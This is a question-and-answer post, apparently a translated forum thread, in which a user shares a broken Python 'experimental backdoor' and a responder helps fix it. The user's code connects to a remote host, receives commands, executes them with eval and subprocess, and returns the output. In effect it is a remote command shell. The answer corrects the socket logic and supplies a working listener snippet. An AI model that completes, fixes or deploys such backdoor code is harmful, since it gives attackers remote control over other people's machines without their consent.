我正在制作一个实验性的后门,需要将变量发送到我将发送到端口号433的字符串。我试试这个,但它不起作用。这是代码:
import socket
import time
import subprocess
host = '' # <-- WRITE HERE THE HOST TO RECIVE INFO
port = '433'
s = socket.socket()
s.accept()
my_ip = socket.gethostbyname(socket.gethostname())
s.bind((host, port))
try:
s.connect()
except socket.error():
time.sleep(5)
s.connect()
s.send("\n[*] Status: Conected!")
s.listen(port)
while 1:
time.sleep(2)
s.send("\n[*] Status: Transmiting from " + str(my_ip) + "...")
s.send("\n[*] Status: Listening port " + str(port) + "...")
rmt_cmd = s.recv(1024)
if rmt_cmd != "":
eval(rmt_cmd)
s.send("\n[*] Status: Executing ( " + str(rmt_cmd) + " )...")
process = subprocess.Popen(rmt_cmd, shell=False,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
cmd_output = process.stdout.read() + process.stderr.read()
s.send("\n[*] Command output/error(s):")
s.send("\n[*] " + cmd_output)
else:
s.send("\n[*] No command recived")
s.send("\n[*] Status: Listening port " + str(port) + "...")
这里代码尝试连接到主机,如果有错误,它等待5秒钟再试一次,因为另一台计算机有一个程序,它启动接受连接的操作系统,所以后门等待5秒,因为计算机可能正在打开:
try:
s.connect()
except socket.error():
time.sleep(5)
s.connect()
但问题是我想把rmt_cmd(remote_command)放入我将发送到端口433的字符串,这给了我另一件事:
rmt_cmd = s.recv(1024)
我该怎么做?
答案 0 :(得分:1)
虽然我了解您尝试做的事情,但您尝试实现这一目标的方式需要重新设计。
s = socket.socket()
s.accept()
my_ip = socket.gethostbyname(socket.gethostname())
s.bind((host, port))
try:
s.connect()
except socket.error():
time.sleep(5)
s.connect()
s.send("\n[*] Status: Conected!")
s.listen(port)
你需要了解你真正想要的东西。
1)你想让你的后门保持被动并等待连接吗?那应该是这样的:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.bind(address) # your host/port pair that client will need to connect to
sock.listen(5)
client_sock = sock.accept() # all the communications happen with
# client_sock since now
在这种情况下,您的操作系统也可能不会让您绑定433端口。 1024以下的端口通常被第三方应用程序禁止使用以防止冲突和后门(ha-ha)。
2)您是否希望后门主动连接到远程主机?只需创建套接字并使用其connect
方法。不要将bind+listen+accept
(被动套接字模式)与connect
(主动模式)混合。
rmt_cmd = s.recv(1024)
部分is unreliable and needs to be refactored。 s.send
用法也是如此。改为使用s.sendall
,或者您将在一个send
中发送整个邮件。